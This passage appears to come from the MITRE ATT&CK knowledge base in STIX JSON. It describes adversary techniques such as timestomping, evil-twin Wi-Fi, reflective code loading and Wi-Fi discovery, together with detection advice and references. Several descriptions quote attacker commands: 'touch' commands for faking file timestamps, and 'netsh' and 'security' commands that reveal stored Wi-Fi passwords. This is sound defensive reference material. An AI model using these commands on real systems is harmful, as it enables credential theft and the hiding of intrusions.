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            "x_mitre_detection": "Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "created": "2020-01-31T12:42:44.103Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/006",
                    "external_id": "T1070.006"
                },
                {
                    "source_name": "Juniper Networks ESXi Backdoor 2022",
                    "description": "Asher Langton. (2022, December 9). A Custom Python Backdoor for VMWare ESXi Servers. Retrieved March 26, 2025.",
                    "url": "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
                },
                {
                    "source_name": "WindowsIR Anti-Forensic Techniques",
                    "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
                    "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
                },
                {
                    "source_name": "Inversecos Linux Timestomping",
                    "description": "inversecos. (2022, August 4). Detecting Linux Anti-Forensics: Timestomping. Retrieved March 26, 2025.",
                    "url": "https://www.inversecos.com/2022/08/detecting-linux-anti-forensics.html"
                },
                {
                    "source_name": "Inversecos Timestomping 2022",
                    "description": "Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection \u2013 NTFS Forensics. Retrieved September 30, 2024.",
                    "url": "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html"
                },
                {
                    "source_name": "Magnet Forensics",
                    "description": "Magnet Forensics. (2020, August 24). Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact. Retrieved June 20, 2024.",
                    "url": "https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/"
                },
                {
                    "source_name": "Double Timestomping",
                    "description": "Matthew Dunwoody. (2022, April 28). I have seen double-timestomping ITW, including by APT29. Stay sharp out there.. Retrieved June 20, 2024.",
                    "url": "https://x.com/matthewdunwoody/status/1519846657646604289"
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            "modified": "2025-04-15T19:58:27.752Z",
            "name": "Timestomp",
            "description": "Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\n\nIn Windows systems, both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics)\n\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)\n\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in \u201cdouble timestomping\u201d by modifying times on both attributes simultaneously.(Citation: Double Timestomping)\n\nIn Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as `touch -a -m -t <timestamp> <filename>` (which sets access and modification times to a specific value) or `touch -r <filename> <filename>` (which sets access and modification times to match those of another file).(Citation: Inversecos Linux Timestomping)(Citation: Juniper Networks ESXi Backdoor 2022)\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)",
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Romain Dumont, ESET",
                "Mike Hartley @mikehartley10"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
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            "x_mitre_version": "1.2",
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                "Process: OS API Execution",
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                "File: File Metadata",
                "Command: Command Execution"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--48b836c6-e4ca-435a-82a3-29c03e5b492e",
            "created": "2024-09-17T14:27:40.947Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1557/004",
                    "external_id": "T1557.004"
                },
                {
                    "source_name": "Kaspersky evil twin",
                    "description": "AO Kaspersky Lab. (n.d.). Evil twin attacks and how to prevent them. Retrieved September 17, 2024.",
                    "url": "https://usa.kaspersky.com/resource-center/preemptive-safety/evil-twin-attacks"
                },
                {
                    "source_name": "medium evil twin",
                    "description": "Gihan, Kavishka. (2021, August 8). Wireless Security\u2014 Evil Twin Attack. Retrieved September 17, 2024.",
                    "url": "https://kavigihan.medium.com/wireless-security-evil-twin-attack-d3842f4aef59"
                },
                {
                    "source_name": "specter ops evil twin",
                    "description": "Ryan, Gabriel. (2019, October 28). Modern Wireless Tradecraft Pt I \u2014 Basic Rogue AP Theory \u2014 Evil Twin and Karma Attacks. Retrieved September 17, 2024.",
                    "url": "https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee"
                },
                {
                    "source_name": "Australia \u2018Evil Twin\u2019",
                    "description": "Toulas, Bill. (2024, July 1). Australian charged for \u2018Evil Twin\u2019 WiFi attack on plane. Retrieved September 17, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/australian-charged-for-evil-twin-wifi-attack-on-plane/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:27.842Z",
            "name": "Evil Twin",
            "description": "Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia \u2018Evil Twin\u2019)\n\nBy using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks.(Citation: Kaspersky evil twin)(Citation: medium evil twin)  Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks.(Citation: specter ops evil twin)  A Wi-Fi Pineapple \u2013 a network security auditing and penetration testing tool \u2013 may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. \n\nSimilarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network.(Citation: specter ops evil twin)  Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.\n\nUpon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim\u2019s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points. ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Menachem Goldstein",
                "DeFord L. Smith"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a",
            "created": "2021-10-05T01:15:06.293Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1620",
                    "external_id": "T1620"
                },
                {
                    "source_name": "00sec Droppers",
                    "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.",
                    "url": "https://0x00sec.org/t/super-stealthy-droppers/3715"
                },
                {
                    "source_name": "S1 Custom Shellcode Tool",
                    "description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.",
                    "url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/"
                },
                {
                    "source_name": "Mandiant BYOL",
                    "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021.",
                    "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique"
                },
                {
                    "source_name": "S1 Old Rat New Tricks",
                    "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.",
                    "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/"
                },
                {
                    "source_name": "MDSec Detecting DOTNET",
                    "description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.",
                    "url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/"
                },
                {
                    "source_name": "Microsoft AssemblyLoad",
                    "description": "Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9, 2024.",
                    "url": "https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load"
                },
                {
                    "source_name": "Intezer ACBackdoor",
                    "description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.",
                    "url": "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/"
                },
                {
                    "source_name": "Stuart ELF Memory",
                    "description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.",
                    "url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html"
                },
                {
                    "source_name": "Introducing Donut",
                    "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.",
                    "url": "https://thewover.github.io/Introducing-Donut/"
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            "modified": "2025-04-15T19:58:27.959Z",
            "name": "Reflective Code Loading",
            "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Jo\u00e3o Paulo de A. Filho, @Hug1nN__",
                "Shlomi Salem, SentinelOne",
                "Lior Ribak, SentinelOne",
                "Rex Guo, @Xiaofei_REX, Confluera",
                "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
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            "x_mitre_detection": "Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as <code>Assembly.Load()</code> and [Native API](https://attack.mitre.org/techniques/T1106) functions such as <code>CreateThread()</code>, <code>memfd_create()</code>, <code>execve()</code>, and/or <code>execveat()</code>.(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\n\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06",
            "created": "2023-09-08T15:39:50.269Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1016/002",
                    "external_id": "T1016.002"
                },
                {
                    "source_name": "Binary Defense Emotes Wi-Fi Spreader",
                    "description": "Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.",
                    "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"
                },
                {
                    "source_name": "Check Point APT35 CharmPower January 2022",
                    "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.",
                    "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"
                },
                {
                    "source_name": "Wi-Fi Password of All Connected Networks in Windows/Linux",
                    "description": "Geeks for Geeks. (n.d.). Wi-Fi Password of All Connected Networks in Windows/Linux. Retrieved September 8, 2023.",
                    "url": "https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/"
                },
                {
                    "source_name": "Malware Bytes New AgentTesla variant steals WiFi credentials",
                    "description": "Hossein Jazi. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved September 8, 2023.",
                    "url": "https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials"
                },
                {
                    "source_name": "Find Wi-Fi Password on Mac",
                    "description": "Ruslana Lishchuk. (2021, March 26). How to Find a Saved Wi-Fi Password on a Mac. Retrieved September 8, 2023.",
                    "url": "https://mackeeper.com/blog/find-wi-fi-password-on-mac/"
                },
                {
                    "source_name": "BleepingComputer Agent Tesla steal wifi passwords",
                    "description": "Sergiu Gatlan. (2020, April 16). Hackers steal WiFi passwords using upgraded Agent Tesla malware. Retrieved September 8, 2023.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T23:21:00.705Z",
            "name": "Wi-Fi Discovery",
            "description": "Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.\n\nAdversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile \u201cWi-Fi name\u201d key=clear` to show a Wi-Fi network\u2019s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)\n\nOn Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)\n",
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                "Alex Spivakovsky, Pentera"
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            "id": "attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742",
            "created": "2024-09-19T14:00:03.401Z",
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                {
                    "source_name": "Intezer RedXOR 2021",
                    "description": "Joakim Kennedy and Avigayil Mechtinger. (2021, March 10). New Linux Backdoor RedXOR Likely Operated by Chinese Nation-State Actor. Retrieved September 19, 2024.",
                    "url": "https://intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/"
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                    "source_name": "Sans Mutexes 2012",
                    "description": "Lenny Zeltser. (2012, July 24). Looking at Mutex Objects for Malware Discovery & Indicators of Compromise. Retrieved September 19, 2024.",
                    "url": "https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/"
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                {
                    "source_name": "ICS Mutexes 2015",
                    "description": "Lenny Zeltser. (2015, March 9). How Malware Generates Mutex Names to Evade Detection. Retrieved September 19, 2024.",
                    "url": "https://isc.sans.edu/diary/How+Malware+Generates+Mutex+Names+to+Evade+Detection/19429/"
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                {
                    "source_name": "Microsoft Mutexes",
                    "description": "Microsoft. (2022, March 11). Mutexes. Retrieved September 19, 2024.",
                    "url": "https://learn.microsoft.com/en-us/dotnet/standard/threading/mutexes"
                },
                {
                    "source_name": "Deep Instinct BPFDoor 2023",
                    "description": "Shaul Vilkomir-Preisman and Eliran Nissan. (2023, May 10). BPFDoor Malware Evolves \u2013 Stealthy Sniffing Backdoor Ups Its Game. Retrieved September 19, 2024.",
                    "url": "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"
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                {
                    "source_name": "Linux Signal Man",
                    "description": "Linux man-pages. (2023, April 3). signal(7). Retrieved August 30, 2023.",
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                    "source_name": "nohup Linux Man",
                    "description": "Meyering, J. (n.d.). nohup(1). Retrieved August 30, 2023.",
                    "url": "https://linux.die.net/man/1/nohup"
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                    "source_name": "Microsoft PowerShell SilentlyContinue",
                    "description": "Microsoft. (2023, March 2). $DebugPreference. Retrieved August 30, 2023.",
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                    "source_name": "Container Escape",
                    "description": "0xn3va. (n.d.). Escaping. Retrieved May 27, 2022.",
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                    "source_name": "Broadcom VMSA-2025-004",
                    "description": "Broadcom. (2025, March 6). VMSA-2025-0004: Questions & Answers. Retrieved March 26, 2025.",
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                    "source_name": "Windows Server Containers Are Open",
                    "description": "Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.",
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                    "url": "https://docs.docker.com/get-started/overview/"
                },
                {
                    "source_name": "Docker Bind Mounts",
                    "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.",
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                    "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.",
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                    "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.",
                    "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/"
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                    "source_name": "Crowdstrike Kubernetes Container Escape",
                    "description": "Manoj Ahuje. (2022, January 31). CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit. Retrieved July 6, 2022.",
                    "url": "https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/"
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                    "source_name": "Keyctl-unmask",
                    "description": "Mark Manning. (2020, July 23). Keyctl-unmask: \"Going Florida\" on The State Of Containerizing Linux Keyrings. Retrieved July 6, 2022.",
                    "url": "https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/"
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            "created": "2020-01-24T19:00:32.917Z",
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                    "external_id": "T1547.009"
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                {
                    "source_name": "Shortcut for Persistence ",
                    "description": "Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022.",
                    "url": "https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence"
                },
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                    "source_name": "BSidesSLC 2020 - LNK Elastic",
                    "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.",
                    "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ"
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            "created": "2017-05-31T21:30:24.512Z",
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                    "external_id": "T1010"
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                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"
                },
                {
                    "source_name": "Prevailion DarkWatchman 2021",
                    "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
                    "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"
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            "modified": "2025-04-15T21:49:50.019Z",
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            "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)\n\nAdversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2025-03-18T13:44:12.618Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "Red Hat Systemctl 2022",
                    "description": "Damon Garn. (2022, May 17). How to use systemctl to manage Linux services. Retrieved March 18, 2025.",
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            "x_mitre_platforms": [
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                "Process: Process Creation",
                "Service: Service Creation",
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            "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1032",
                    "external_id": "T1032"
                },
                {
                    "source_name": "SANS Decrypting SSL",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
                },
                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
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                {
                    "source_name": "Fidelis DarkComet",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.",
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            "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
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            "type": "attack-pattern",
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            "created": "2020-02-21T21:08:33.237Z",
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                    "url": "https://attack.mitre.org/techniques/T1087/003",
                    "external_id": "T1087.003"
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                {
                    "source_name": "Black Hills Attacking Exchange MailSniper, 2016",
                    "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/"
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                {
                    "source_name": "Google Workspace Global Access List",
                    "description": "Google. (n.d.). Retrieved March 16, 2021.",
                    "url": "https://support.google.com/a/answer/166870?hl=en"
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                    "source_name": "Microsoft Exchange Address Lists",
                    "description": "Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.",
                    "url": "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019"
                },
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                    "source_name": "Microsoft getglobaladdresslist",
                    "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "type": "attack-pattern",
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            "created": "2017-05-31T21:30:50.958Z",
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                    "source_name": "mitre-attack",
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                    "source_name": "capec",
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                {
                    "source_name": "Wikipedia Hypervisor",
                    "description": "Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Hypervisor"
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                {
                    "source_name": "Wikipedia Xen",
                    "description": "Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.",
                    "url": "http://en.wikipedia.org/wiki/Xen"
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                {
                    "source_name": "Myers 2007",
                    "description": "Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.",
                    "url": "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf"
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                    "source_name": "virtualization.info 2006",
                    "description": "virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth &#91;Interview transcript&#93;. Retrieved November 13, 2014.",
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                {
                    "source_name": "Joe Sec Nymaim",
                    "description": "Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.",
                    "url": "https://www.joesecurity.org/blog/3660886847485093803"
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                    "source_name": "Joe Sec Trickbot",
                    "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.",
                    "url": "https://www.joesecurity.org/blog/498839998833561473"
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                    "source_name": "ISACA Malware Tricks",
                    "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.",
                    "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes"
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                {
                    "source_name": "Revil Independence Day",
                    "description": "Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.",
                    "url": "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/"
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                {
                    "source_name": "Netskope Nitol",
                    "description": "Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.",
